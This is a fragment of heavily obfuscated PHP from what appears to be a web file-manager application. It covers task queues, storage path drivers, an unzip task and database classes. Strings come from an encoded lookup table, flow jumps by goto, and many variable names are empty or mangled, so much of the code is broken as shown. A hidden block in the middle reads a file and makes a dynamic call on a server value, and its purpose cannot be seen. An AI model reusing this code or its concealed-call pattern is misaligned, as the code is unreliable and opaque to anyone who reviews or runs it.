self::setAll($); $ = timeFloat(); $ӿnj = $杇[12]; try { $ӿnj = Hook::apply($Ɛ[$杇[310]], $Ɛ[$杇[1804]]); } catch (Exception $̺觼) { write_log($̺觼, $杇[1233]); } $с = number_format(timeFloat() - $, 3) . $杇[1721]; if ($ӿnj && is_string($ӿnj)) { $с = $с . $杇[1806] . $ӿnj; } write_log($杇[1807] . $Ɛ[$杇[496]] . $杇[1808] . $с, $杇[187]); Cache::set(self::QUEUE_TIME, time(), 3600 * 24 * 30); return !0; } public static function runThread() { $ =& $_SERVER[砐]; $й = self::threadCount() + 1; if ($й > 3 || !self::count()) { return; } write_log($[1809] . $й, $[187]); Cache::set(self::QUEUE_THREAD, $й, 3600 * 24); AutoTask::clearUserStatus(); while (!0) { if (!self::run()) { break; } usleep(mt_rand(200, 50000)); } Cache::set(self::QUEUE_THREAD, 0, 3600 * 24); write_log($[1810], $[187]); } public static function getKey($Ě, $Æ = "\151\x6e\x74") { $ħ =& $_SERVER[砐]; Cache::removeMemory($Ě); $ = Cache::get($Ě); if ($Æ == $ħ[334]) { return $ ? intval($) : 0; } if ($Æ == $ħ[1811]) { return is_array($) ? $ : array(); } return $; } public static function lastTime() { return self::getKey(self::QUEUE_TIME); } public static function count() { return self::getKey(self::QUEUE_LENGTH); } public static function threadCount() { return self::getKey(self::QUEUE_THREAD); } public static function getAll() { return self::getKey(self::QUEUE_DATA, $_SERVER[砐][1811]); } public static function setAll($) { $ت = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($), $ت); Cache::set(self::QUEUE_DATA, $, $ت); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); Cache::set(self::QUEUE_THREAD, 0, 60); } } goto F; E: class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[砐][1405]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($nj) { $⭑ =& $_SERVER[砐]; global $config; return $this->iconvTo($nj, $config[$⭑[1403]], $config[$⭑[1402]]); } public function iconvSystem($Ǒ) { $빟 =& $_SERVER[砐]; global $config; return $this->iconvTo($Ǒ, $config[$빟[1402]], $config[$빟[1403]]); } public function getPathOuter($‚) { $ =& $_SERVER[砐]; $㞅 = $this->iconvApp($this->pathBase); $‚ = $this->iconvApp($‚); if (substr($㞅, 0, 2) == $[1405]) { $㞅 = BASIC_PATH . substr($㞅, 2); } if (substr($‚, 0, 2) == $[1405]) { $‚ = BASIC_PATH . substr($‚, 2); } $㞅 = KodIO::clear($㞅); $‚ = KodIO::clear($‚); $‚ = substr($‚, strlen($㞅)); if (empty($this->pathDriver)) { return $‚; } return $this->pathDriver . $[8] . ltrim($‚, $[8]); } public function mkfile($Å, $Ȝ͘ = '', $ = REPEAT_RENAME) { $Å = $this->iconvSystem($Å); @touch($Å); if ($Ȝ͘) { file_put_contents($Å, $Ȝ͘); } @chmod($Å, $this->pathAuth); return is_file($Å) ? $this->getPathOuter($Å) : !1; } public function mkdir($, $ = REPEAT_SKIP) { $ = $this->iconvSystem($); if (is_dir($)) { return $this->getPathOuter($); } @mkdir($, $this->pathAuth, !0); @chmod($, $this->pathAuth); return is_dir($) ? $this->getPathOuter($) : !1; } public function copyFile($ۏ, $ޘ) { $this->mkdir($this->pathFather($ޘ)); $ۏ = $this->iconvSystem($ۏ); $ޘ = $this->iconvSystem($ޘ); $ؖ = copy_64($ۏ, $ޘ); @chmod($ޘ, $this->pathAuth); return $ؖ ? $this->getPathOuter($ޘ) : !1; } public function moveFile($‰, $莚) { $this->mkdir($this->pathFather($莚)); $‰ = $this->iconvSystem($‰); $莚 = $this->iconvSystem($莚); $ = intval(@rename($‰, $莚)); if (!$) { if ($ = intval(@copy_64($‰, $莚))) { @unlink($‰); } } @chmod($莚, $this->pathAuth); return $ ? $this->getPathOuter($莚) : !1; } public function movePath($, $׍, $ = false) { $ܜ =& $_SERVER[砐]; $ = $this->iconvSystem($); $׍ = $this->iconvSystem($׍); $η = rtrim($׍, $ܜ[8]) . $ܜ[8] . ($ ? $ : get_path_this($)); if (file_exists($η)) { return !1; } $ = intval(@rename($, $η)); $ = file_exists($η); return $ ? $this->getPathOuter($η) : !1; } public function delFile($񝥾) { $񝥾 = $this->iconvSystem($񝥾); if (!@unlink($񝥾)) { @chmod($񝥾, $this->pathAuth); if (!@unlink($񝥾)) { return !1; } } else { return !0; } } public function delFolder($Ύ) { $뜶 =& $_SERVER[砐]; $Ύ = $this->iconvSystem($Ύ); if (!is_dir($Ύ)) { return !0; } if (!($ = opendir($Ύ))) { return !1; } while (($ = readdir($)) !== !1) { if ($ == $뜶[10] || $ == $뜶[1329]) { continue; } $ᢱ = $Ύ . $뜶[8] . $; if (is_file($ᢱ) || is_link($ᢱ)) { if (!unlink($ᢱ)) { chmod($ᢱ, $this->pathAuth); if (!unlink($ᢱ)) { return !1; } } } else { if (is_dir($ᢱ)) { chmod($ᢱ, $this->pathAuth); $ᢱ = $this->iconvApp($ᢱ); if (!$this->delFolder($ᢱ)) { return !1; } } } } closedir($); return rmdir($Ύ); } public function rename($, $) { $Ŏ =& $_SERVER[砐]; $ = $this->fileNameAuto($this->pathFather($), $); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = $this->pathFather($); $ = rtrim($, $Ŏ[8]) . $Ŏ[8] . $; $ = @rename($, $); $ = $this->iconvApp($); return $ ? $this->getPathOuter($) : !1; } public function size($Ӊ) { $Ӊ = $this->iconvSystem($Ӊ); return filesize_64($Ӊ); } public function info($ߙ) { $ߙ = $this->iconvSystem($ߙ); if ($this->isFolder($ߙ)) { return $this->folderInfo($ߙ); } else { if ($this->isFile($ߙ)) { return $this->fileInfo($ߙ); } } return !1; } protected function infoChildren($Ͼ, &$ՔŲ, $ = true) { $¤ =& $_SERVER[砐]; check_abort_echo(); $Ͼ = rtrim($Ͼ, $¤[8]) . $¤[8]; if ($) { $Ͼ = $this->iconvSystem($Ͼ); } if (!($ѝݱ = @opendir($Ͼ))) { return; } while (($ = readdir($ѝݱ)) !== !1) { if ($ == $¤[10] || $ == $¤[1329]) { continue; } $ν = $Ͼ . $; if (is_file($ν) || is_link($ν)) { $ՔŲ[$¤[79]]++; $ՔŲ[$¤[78]] += filesize_64($ν); } else { if (is_dir($ν)) { $ՔŲ[$¤[80]]++; $this->infoChildren($ν, $ՔŲ, !1); } } } closedir($ѝݱ); } private function folderInfo($Ƿ, $̝ = false) { $ =& $_SERVER[砐]; $Ƿ = rtrim($Ƿ, $[8]) . $[8]; $쿅 = $this->iconvApp($this->pathThis($Ƿ)); if ($̝) { return array($[32] => $쿅, $[86] => $this->getPathOuter($Ƿ), $[33] => $[77]); } $۳ = array($[32] => $쿅, $[86] => $this->getPathOuter($Ƿ), $[33] => $[77], $[217] => @filectime($Ƿ), $[87] => @filemtime($Ƿ), $[1414] => @fileatime($Ƿ), $[1415] => is_readable($Ƿ), $[1416] => is_writable($Ƿ), $[1417] => get_mode($Ƿ)); return $۳; } private function fileInfo($ʻ, $ݪӀ = false) { $߻ =& $_SERVER[砐]; $ = $this->iconvApp($this->pathThis($ʻ)); if ($ݪӀ) { return array($߻[32] => $, $߻[86] => $this->getPathOuter($ʻ), $߻[33] => $߻[216], $߻[78] => $this->size($ʻ), $߻[177] => $this->ext($)); } $ݎ = array($߻[32] => $, $߻[86] => $this->getPathOuter($ʻ), $߻[33] => $߻[216], $߻[217] => @filectime($ʻ), $߻[87] => @filemtime($ʻ), $߻[1414] => @fileatime($ʻ), $߻[78] => $this->size($ʻ), $߻[177] => $this->ext($), $߻[1415] => is_readable($ʻ), $߻[1416] => is_writable($ʻ), $߻[1417] => get_mode($ʻ)); return $ݎ; } public function exist($ј) { $ј = $this->iconvSystem($ј); return @file_exists($ј); } public function isFile($ӟ) { $ӟ = $this->iconvSystem($ӟ); return @is_file($ӟ); } public function isFolder($곮) { $곮 = $this->iconvSystem($곮); return @is_dir($곮); } public function listPath($ʛ, $Ū = false) { $ӈ =& $_SERVER[砐]; $ʛ = $this->iconvSystem($ʛ); $ʛ = rtrim($ʛ, $ӈ[8]) . $ӈ[8]; $ƍЁ = array($ӈ[84] => array(), $ӈ[85] => array()); if (!($⋭ = @opendir($ʛ))) { return $ƍЁ; } while (($ = readdir($⋭)) !== !1) { if ($ == $ӈ[10] || $ == $ӈ[1329]) { continue; } $ = $ʛ . $; if (is_file($)) { $ƍЁ[$ӈ[85]][] = $this->fileInfo($, $Ū); } else { $ƍЁ[$ӈ[84]][] = $this->folderInfo($, $Ū); } } closedir($⋭); return $ƍЁ; } public function listAll($, &$Ï = array()) { $Ȭ =& $_SERVER[砐]; $ = $this->iconvSystem($); $ = rtrim($, $Ȭ[8]) . $Ȭ[8]; if (!($ǿЧ = @opendir($))) { return $Ï; } while (($ = readdir($ǿЧ)) !== !1) { if ($ == $Ȭ[10] || $ == $Ȭ[1329]) { continue; } $ү = $ . $; $ډ = is_dir($ү) && !is_link($ү) ? 1 : 0; $ү = $ډ ? $ү . $Ȭ[8] : $ү; $Ï[] = array($Ȭ[86] => $ү, $Ȭ[77] => $ډ, $Ȭ[87] => intval(@filemtime($ү)), $Ȭ[78] => $ډ ? 0 : intval($this->size($ү))); if ($ډ) { $this->listAll($ү, $Ï); } } closedir($ǿЧ); return $Ï; } public function has($Ǟ, $ = false, $͡ = true) { $̯ =& $_SERVER[砐]; $Ǟ = $this->iconvSystem($Ǟ); $Ǟ = rtrim($Ǟ, $̯[8]) . $̯[8]; if (!($Ӈ = @opendir($Ǟ))) { return !1; } $Ԭݩ = 0; $ = 0; $䛕̕ = 0; while (($ = readdir($Ӈ)) !== !1) { if ($ == $̯[10] || $ == $̯[1329]) { continue; } $ڟ = $Ǟ . $; if ($) { $䛕̕++; if (@is_file($ڟ)) { $Ԭݩ++; } else { $++; } if ($䛕̕ > 10000) { break; } continue; } if ($͡) { if (@is_file($ڟ)) { return !0; } } else { if (@is_dir($ڟ . $̯[8])) { return !0; } } } closedir($Ӈ); if ($) { return array($̯[225] => $Ԭݩ, $̯[226] => $); } return !1; } public function hashSimple($ȹ) { $Ɉ =& $_SERVER[砐]; if (!$ȹ) { return md5($Ɉ[12]); } $ȹ = $this->iconvSystem($ȹ); $ˆ = $this->size($ȹ); $ = 200; $ԩ = 50; if ($ˆ <= $ * $ԩ) { return $this->hashMd5($ȹ) . $ˆ; } $г = $Ɉ[12]; $ޏ = intval($ˆ / $ԩ); $Ӡ = fopen($ȹ, $Ɉ[1418]); if (!$Ӡ) { return $г; } for ($ = 0; $ < $ԩ; $++) { fseek_64($Ӡ, $ޏ * $); $г .= fread($Ӡ, $); } fseek_64($Ӡ, $ˆ - $); $г .= fread($Ӡ, $); fclose($Ӡ); return md5($г) . $ˆ; } public function getContent($ۣ) { $ۣ = $this->iconvSystem($ۣ); return file_get_contents($ۣ); } public function setContent($Ͳ, $׼ᰙ = '') { $Ͳ = $this->iconvSystem($Ͳ); $ = @file_put_contents($Ͳ, $׼ᰙ, LOCK_EX); clearstatcache(); @chmod($Ͳ, $this->pathAuth); return $ === !1 ? !1 : !0; } public function fileSubstr($ζ֓, $У = 0, $߉ = false) { $ =& $_SERVER[砐]; $ζ֓ = $this->iconvSystem($ζ֓); if ($߉ === !1) { $߉ = $this->size($ζ֓); } if ($߉ <= 0) { return $[12]; } $⺯ = fopen($ζ֓, $[1418]); if (!$⺯) { return !1; } fseek_64($⺯, $У); $ = fread($⺯, $߉); fclose($⺯); return $; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { if ($) { return $this->moveFile($, $); } return $this->copyFile($, $); } public function setModifyTime($, $ = '') { @touch($, intval($)); } public function download($ƶ, $) { return $this->iconvSystem($ƶ); } } class PathDriverOBS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[砐][233]); } public function fileOutImage($׈߽, $򳢔 = 250) { $󅑅 =& $_SERVER[砐]; if ($this->size($׈߽) > 1024 * 1024 * 25) { return $this->fileOutImageServer($׈߽, $򳢔); } $ = array($󅑅[1419] => $󅑅[1420] . $򳢔 . $󅑅[1421]); $ = $this->link($׈߽, $); $this->fileOutLink($); } public function fileOutLink($) { $ =& $_SERVER[砐]; if (substr($, 0, 7) == $[1382]) { $ = $[1383] . substr($, 7); } header($[164] . $); die; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[砐][233]); } public function fileOutLink($) { $ =& $_SERVER[砐]; if (substr($, 0, 7) == $[1382]) { $ = $[1383] . substr($, 7); } header($[164] . $); die; } } goto Aړۘ; F: class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($ӱ, $ޚӒ = 5.0) { if (!$ӱ) { return; } $½ = Cache::get($ӱ); if (!$½ || timeFloat() - floatVal($½) >= $ޚӒ) { Cache::set($ӱ, timeFloat(), $ޚӒ * 10); return !0; } return !1; } public static function timeLimitCall($, $ޣ, $ޝ, $ʝ = 5.0) { $ =& $_SERVER[砐]; if (!$ || !$ޣ) { return; } self::$asyncAdd = !0; $ß = $[1812]; $ӊ = Cache::get($ß, !0); $ӕ = array($[1813] => timeFloat(), $[1814] => timeFloat(), $[310] => $ޣ, $[1804] => $ޝ, $[196] => $ʝ); if (is_array($ӊ[$])) { $ӕ[$[1814]] = $ӊ[$][$[1814]]; } if (is_array($ӊ[$])) { if (timeFloat() - $ӊ[$][$[1813]] < $ӕ[$[196]] * 0.3) { return; } $ӕ[$[1814]] = $ӊ[$][$[1814]]; } $ӊ[$] = $ӕ; Cache::set($ß, $ӊ, 60); Cache::removeMemory($ß); write_log($[1815] . $ . $[73] . $ޣ, $[187]); } public static function timeLimitCallLoop() { $ʐ鋶 =& $_SERVER[砐]; $ = array($ʐ鋶[1816]); $ͽϻ = in_array(strtolower(ACTION), $); if (!$ͽϻ && !self::$asyncAdd) { return; } $ߔ = $ʐ鋶[1812]; $ = Cache::get($ߔ, !0); if (!$ || count($) <= 0) { return; } $Ƀ = !1; $ = timeFloat(); $٣ = array(); foreach ($ as $ => $ӫ) { if ($ - $ӫ[$ʐ鋶[1814]] > $ӫ[$ʐ鋶[196]]) { $Ƀ = !0; try { Hook::apply($ӫ[$ʐ鋶[310]], $ӫ[$ʐ鋶[1804]]); write_log($ʐ鋶[1817] . $ . $ʐ鋶[73] . $ӫ[$ʐ鋶[310]] . $ʐ鋶[1818] . ACTION, $ʐ鋶[187]); } catch (Exception $ܶ۾) { } continue; } $٣[$] = $ӫ; } if (!$Ƀ) { return; } if (!$٣) { return Cache::remove($ߔ); } Cache::set($ߔ, $٣, 60); Cache::removeMemory($ߔ); } public static function finished($µ͑, $ѻ) { $騃 =& $_SERVER[砐]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($騃[310] => $µ͑, $騃[1804] => $ѻ); } private static function finishedRun() { $nj =& $_SERVER[砐]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $߫) { try { Hook::apply($߫[$nj[310]], $߫[$nj[1804]]); } catch (Exception $¨) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } if ($_SERVER[$_SERVER[砐][922]] != $_SERVER[$_SERVER[砐][1782]]) { $_getc = $_SERVER[砐][925]; $_getfile = $_SERVER[$_SERVER[砐][926]] . $_SERVER[砐][927]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[砐][248], $_getfilec); if (count($_getarrs) < $_SERVER[砐][692]) { $exit = $_SERVER[砐][928]; $exit(); } $_act = $_SERVER[砐][932]; $_act($_SERVER[$_SERVER[砐][923]]); } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[砐]; parent::startAfter(); Hook::bind($[1819], array($this, $[1820])); Hook::bind($[1244], array($this, $[1821])); Hook::bind($[1822], array($this, $[1823])); $ =& $this->task; $[$[1824]] = $[1245]; if (!$[$[1593]]) { $[$[1593]] = LNG($[1825]); } } protected function endAfter() { $ =& $_SERVER[砐]; parent::endAfter(); Hook::unbind($[1819], array($this, $[1820])); Hook::unbind($[1244], array($this, $[1821])); Hook::unbind($[1822], array($this, $[1823])); } public function updateAfter() { $Э =& $_SERVER[砐]; $򤛎 =& $this->task; if (!$򤛎[$Э[831]] || !$򤛎[$Э[808]]) { if ($򤛎[$Э[1824]] != $Э[359]) { return; } } if ($򤛎[$Э[1824]] == $Э[1245]) { $𝣨 = 0; if ($򤛎[$Э[1758]]) { $𝣨 = $򤛎[$Э[1759]] / $򤛎[$Э[1758]]; } $򤛎[$Э[1707]] = $𝣨 * 0.3; } else { if ($򤛎[$Э[1824]] == $Э[359]) { $𝣨 = $򤛎[$Э[1706]] / $򤛎[$Э[831]]; $򤛎[$Э[1707]] = 0.3 + $𝣨 * 0.4; } else { if ($򤛎[$Э[1824]] == $Э[109]) { $Ĵ = 0; if ($򤛎[$Э[1760]] == $Э[109]) { $Ĵ = $򤛎[$Э[1759]]; } $𝣨 = ($򤛎[$Э[1763]] + $Ĵ) / $򤛎[$Э[808]]; $򤛎[$Э[1707]] = 0.3 + 0.4 + $𝣨 * 0.3; } } } if ($򤛎[$Э[1707]] > 0) { $ = timeFloat() - $򤛎[$Э[1709]] - $򤛎[$Э[1712]]; $򤛎[$Э[1713]] = $ * (1 - $򤛎[$Э[1707]]) / $򤛎[$Э[1707]]; } } public function addFile($壇Ά) { $ =& $_SERVER[砐]; $î =& $this->task; $׽ = IO::info($壇Ά); $î[$[1756]] = $׽[$[32]]; $î[$[1758]] = $׽[$[78]]; $î[$[1759]] = 0; $î[$[1115]] = $[1779]; $î[$[1760]] = $[1245]; $î[$[808]] = $׽[$[78]]; $î[$[831]] = 1; $՗ = 0; $î[$[1767]] = array($[1768] => $՗ + 1, $[464] => $׽[$[32]], $[86] => $׽[$[86]], $[553] => $׽[$[553]] ? $׽[$[553]] : $׽[$[86]]); $this->update(); } public function zipEvent($敍, $, $Ժ, $⍞ո) { $͉ =& $_SERVER[砐]; $ƨ =& $this->task; $ƨ[$͉[1756]] = get_path_this($); $ƨ[$͉[1758]] = $⍞ո; $ƨ[$͉[1759]] = $Ժ; $ƨ[$͉[1115]] = $敍 == $͉[1826] ? $͉[1827] : $͉[1828]; $ƨ[$͉[1760]] = $͉[12]; $ƨ[$͉[808]] = $⍞ո; $ƨ[$͉[1824]] = $͉[359]; $this->update(); } public function unzipAfter($) { $ᲂ =& $_SERVER[砐]; $ͤ =& $this->task; $ͤ[$ᲂ[1824]] = $ᲂ[109]; $ = IO::infoWithChildren($); $ = 0; $ͤ[$ᲂ[1767]] = array($ᲂ[1768] => $ + 1, $ᲂ[464] => $[$ᲂ[32]], $ᲂ[86] => $[$ᲂ[86]], $ᲂ[553] => $[$ᲂ[553]] ? $[$ᲂ[553]] : $[$ᲂ[86]]); if ($[$ᲂ[33]] == $ᲂ[216]) { $ͤ[$ᲂ[831]] = 1; } else { $ͤ[$ᲂ[831]] = $[$ᲂ[81]][$ᲂ[79]]; } $ͤ[$ᲂ[1115]] = $ᲂ[12]; $ͤ[$ᲂ[1760]] = 0; $ͤ[$ᲂ[1706]] = 0; $ͤ[$ᲂ[1758]] = 0; $ͤ[$ᲂ[1759]] = 0; $ͤ[$ᲂ[1756]] = $ᲂ[12]; $ͤ[$ᲂ[1763]] = 0; $ͤ[$ᲂ[808]] = $[$ᲂ[78]]; $this->update(); self::log($ᲂ[1829] . json_encode(array($ͤ, $))); } public function nameParse($褀) { $ =& $_SERVER[砐]; $ڃ =& $this->task; if ($ڃ[$[1824]] == $[1245]) { $ڃ[$[1824]] = $[359]; $ڃ[$[1763]] = 0; $ڃ[$[808]] = 0; } $ = get_path_this($褀); if (strstr($, $[10])) { $ڃ[$[1706]] += 1; $ڃ[$[831]] += 1; } $ڃ[$[1756]] = $褀; $this->update(); } } goto Aۉ; A: class DbSqlite extends DbSqliteBase { public function query($ù؂) { $劆 =& $_SERVER[砐]; if (!CacheLock::fileLock($劆[13])) { return !1; } $椅 = parent::query($ù؂); CacheLock::fileUnLock($劆[13]); return $椅; } public function execute($횩) { $֗ =& $_SERVER[砐]; if (!CacheLock::fileLock($֗[13])) { return !1; } $ۛ = parent::execute($횩); CacheLock::fileUnLock($֗[13]); return $ۛ; } } class DbSqlite3 extends DbSqlite3Base { public function query($Ȟ) { $ =& $_SERVER[砐]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::query($Ȟ); CacheLock::fileUnLock($[13]); return $; } public function execute($) { $چ =& $_SERVER[砐]; if (!CacheLock::fileLock($چ[13])) { return !1; } $Ȫߦ = parent::execute($); CacheLock::fileUnLock($چ[13]); return $Ȫߦ; } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\137\164\150\151\x6e\x6b\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\145\161" => "\x3d", "\x6e\x65\x71" => "\x3c\76", "\x67\x74" => "\76", "\145\147\164" => "\76\75", "\154\x74" => "\74", "\x65\x6c\164" => "\74\75", "\156\157\164\x6c\x69\153\145" => "\x4e\117\124\x20\x4c\x49\x4b\105", "\x6c\x69\153\x65" => "\114\x49\113\105", "\151\x6e" => "\x49\x4e", "\x6e\157\164\151\x6e" => "\x4e\x4f\x54\40\111\116", "\x6e\157\x74\40\x69\156" => "\x4e\117\x54\40\x49\x4e", "\x62\145\x74\x77\145\145\156" => "\102\x45\124\x57\x45\105\x4e", "\156\x6f\x74\142\x65\x74\x77\145\145\156" => "\x4e\117\x54\40\x42\105\x54\127\105\105\x4e", "\156\157\x74\40\x62\x65\x74\x77\145\x65\x6e" => "\x4e\x4f\124\x20\x42\105\124\127\105\105\116"); protected $selectSql = "\x53\105\x4c\105\x43\124\x25\104\x49\x53\x54\x49\x4e\103\x54\x25\40\x25\x46\111\105\114\x44\x25\40\x46\x52\117\x4d\x20\x25\x54\101\102\x4c\x45\45\45\112\117\111\116\x25\45\127\x48\105\x52\105\x25\45\x47\x52\x4f\125\x50\45\x25\110\x41\x56\x49\116\x47\45\x25\117\x52\104\105\122\x25\x25\x4c\x49\115\111\124\45\x20\x25\125\x4e\111\x4f\x4e\x25\45\x43\117\115\115\x45\116\x54\45"; protected $bind = array(); public static function getInstance() { $ڦ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[砐][1011], $ڦ); } public function factory($ = '') { $ =& $_SERVER[砐]; $ = $this->parseConfig($); if (empty($[$[1012]])) { think_exception(think_lang($[1013])); } $this->dbType = ucwords(strtolower($[$[1012]])); $ = $[1014] . $this->dbType; if (class_exists($)) { $獭 = new $($); if ($[1015] != strtolower($[$[1012]])) { $獭->dbType = strtoupper($this->dbType); } else { $獭->dbType = $this->_getDsnType($[$[967]]); } } else { think_exception(think_lang($[1016]) . $[1017] . $); } return $獭; } public function __call($Ͻ, $) { if (method_exists($this, $Ͻ)) { return call_user_func_array(array($this, $Ͻ), $); } } protected function _getDsnType($) { $ϟ = explode($_SERVER[砐][4], $); $ٴ = strtoupper(trim($ϟ[0])); return $ٴ; } private function parseConfig($ = '') { $ =& $_SERVER[砐]; if (!empty($) && is_string($)) { $ = $this->parseDSN($); } elseif (is_array($)) { $ = array_change_key_case($); $ = array($[1012] => $[$[1018]], $[939] => $[$[1019]], $[940] => $[$[1020]], $[937] => $[$[1021]], $[938] => $[$[1022]], $[21] => $[$[1023]], $[967] => $[$[1024]], $[17] => isset($[$[1025]]) ? $[$[1025]] : array()); } elseif (empty($)) { if (think_config($[1026]) && $[1015] != strtolower(think_config($[1027]))) { $ = $this->parseDSN(think_config($[1026])); } else { $ = array($[1012] => think_config($[1027]), $[939] => think_config($[1028]), $[940] => think_config($[1029]), $[937] => think_config($[1030]), $[938] => think_config($[1031]), $[21] => think_config($[292]), $[967] => think_config($[1026]), $[17] => think_config($[1032])); } } return $; } protected function initConnect($ힸ = true) { if (1 == think_config($_SERVER[砐][22])) { $this->_linkID = $this->multiConnect($ힸ); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $˥ => $؉) { $this->_linkID = $؉; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($ǭ = false) { $΅ =& $_SERVER[砐]; static $Ǩ = array(); static $ٮښ = -1; if (empty($Ǩ)) { foreach ($this->config as $ѵͼ => $ً) { $Ǩ[$ѵͼ] = explode($΅[50], $ً); } } if (think_config($΅[1033])) { if ($ǭ || think_config($΅[441]) === !0) { $ = floor(mt_rand(0, think_config($΅[1034]) - 1)); $ٮښ = $; } else { if (is_numeric(think_config($΅[1035]))) { $ = think_config($΅[1035]); } else { $ = floor(mt_rand(think_config($΅[1034]), count($Ǩ[$΅[937]]) - 1)); } } } else { $ = floor(mt_rand(0, count($Ǩ[$΅[937]]) - 1)); $ٮښ = $; } $ = $ٮښ !== -1 ? $ٮښ : $; $ˈ = array($΅[939] => isset($Ǩ[$΅[939]][$]) ? $Ǩ[$΅[939]][$] : $Ǩ[$΅[939]][0], $΅[940] => isset($Ǩ[$΅[940]][$]) ? $Ǩ[$΅[940]][$] : $Ǩ[$΅[940]][0], $΅[937] => isset($Ǩ[$΅[937]][$]) ? $Ǩ[$΅[937]][$] : $Ǩ[$΅[937]][0], $΅[938] => isset($Ǩ[$΅[938]][$]) ? $Ǩ[$΅[938]][$] : $Ǩ[$΅[938]][0], $΅[21] => isset($Ǩ[$΅[21]][$]) ? $Ǩ[$΅[21]][$] : $Ǩ[$΅[21]][0], $΅[967] => isset($Ǩ[$΅[967]][$]) ? $Ǩ[$΅[967]][$] : $Ǩ[$΅[967]][0], $΅[17] => isset($Ǩ[$΅[17]][$]) ? $Ǩ[$΅[17]][$] : $Ǩ[$΅[17]][0]); return $this->connect($ˈ, $); } public function parseDSN($) { $گ =& $_SERVER[砐]; if (empty($)) { return !1; } $ڨ = parse_url($); if ($ڨ[$گ[197]]) { $ݴ = array($گ[1012] => $ڨ[$گ[197]], $گ[939] => isset($ڨ[$گ[632]]) ? $ڨ[$گ[632]] : $گ[12], $گ[940] => isset($ڨ[$گ[1036]]) ? $ڨ[$گ[1036]] : $گ[12], $گ[937] => isset($ڨ[$گ[198]]) ? $ڨ[$گ[198]] : $گ[12], $گ[938] => isset($ڨ[$گ[199]]) ? $ڨ[$گ[199]] : $گ[12], $گ[21] => isset($ڨ[$گ[86]]) ? substr($ڨ[$گ[86]], 1) : $گ[12]); } else { preg_match($گ[1037], trim($), $Ǡ); $ݴ = array($گ[1012] => $Ǡ[1], $گ[939] => $Ǡ[2], $گ[940] => $Ǡ[3], $گ[937] => $Ǡ[4], $گ[938] => $Ǡ[5], $گ[21] => $Ǡ[6]); } $ݴ[$گ[967]] = $گ[12]; return $ݴ; } protected function debug() { $ =& $_SERVER[砐]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $[1038]; if (think_config($[1039])) { think_status($[1040]); think_trace($this->queryStr . $[1041] . think_status($[24], $[1040], 6) . $[1042], $[12], $[1043]); } } protected function parseLock($ջ = false) { $ߍ =& $_SERVER[砐]; if (!$ջ) { return $ߍ[12]; } if ($ߍ[969] == $this->dbType) { return $ߍ[1044]; } return $ߍ[1045]; } protected function parseSet($Ԏ) { $Ʈр =& $_SERVER[砐]; foreach ($Ԏ as $Ȣ => $˭) { if (is_array($˭) && $Ʈр[343] == $˭[0]) { $Ţά[] = $this->parseKey($Ȣ) . $Ʈр[935] . $˭[1]; } elseif (is_scalar($˭) || is_null($˭)) { $Ţά[] = $this->parseKey($Ȣ) . $Ʈр[935] . $this->parseValue($˭); } } return $Ʈр[1046] . implode($Ʈр[50], $Ţά); } protected function bindParam($왹, $ϑ) { $this->bind[$_SERVER[砐][4] . $왹] = $ϑ; } protected function parseBind($˩) { $˩ = array_merge($this->bind, $˩); $this->bind = array(); return $˩; } function parseKey(&$ػ, $ܰ = true) { if ($ܰ) { $ػ = $this->parseKeyCheck($ػ); } return $ػ; } function parseKeyCheck($) { $܊ =& $_SERVER[砐]; $ = trim($); if (!preg_match($܊[1047], $)) { think_exception($܊[1048] . $); } return $; } protected function parseValue($) { $λ =& $_SERVER[砐]; if (is_string($)) { $ = $λ[1008] . $this->escapeString($) . $λ[1008]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $λ[343]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $λ[1009]), $); } elseif (is_bool($)) { $ = $ ? $λ[90] : $λ[214]; } elseif (is_null($)) { $ = $λ[105]; } return $; } protected function parseField($ֺ) { $ =& $_SERVER[砐]; if (is_string($ֺ) && strpos($ֺ, $[50])) { $ֺ = explode($[50], $ֺ); } if (is_array($ֺ)) { $Ӯ = array(); foreach ($ֺ as $ => $܊) { if (!is_numeric($)) { $Ӯ[] = $this->parseKey($, !1) . $[1049] . $this->parseKey($܊); } else { $Ӯ[] = $this->parseKey($܊); } } $ = implode($[50], $Ӯ); } elseif (is_string($ֺ) && !empty($ֺ)) { $ = $ֺ; } else { $ = $[205]; } return $; } protected function parseTable($۾) { $؝֧ =& $_SERVER[砐]; if (is_array($۾)) { $͡ɶ = array(); foreach ($۾ as $ => $) { if (!is_numeric($)) { $͡ɶ[] = $this->parseKey($) . $؝֧[53] . $this->parseKey($); } else { $͡ɶ[] = $this->parseKey($); } } $۾ = $͡ɶ; } elseif 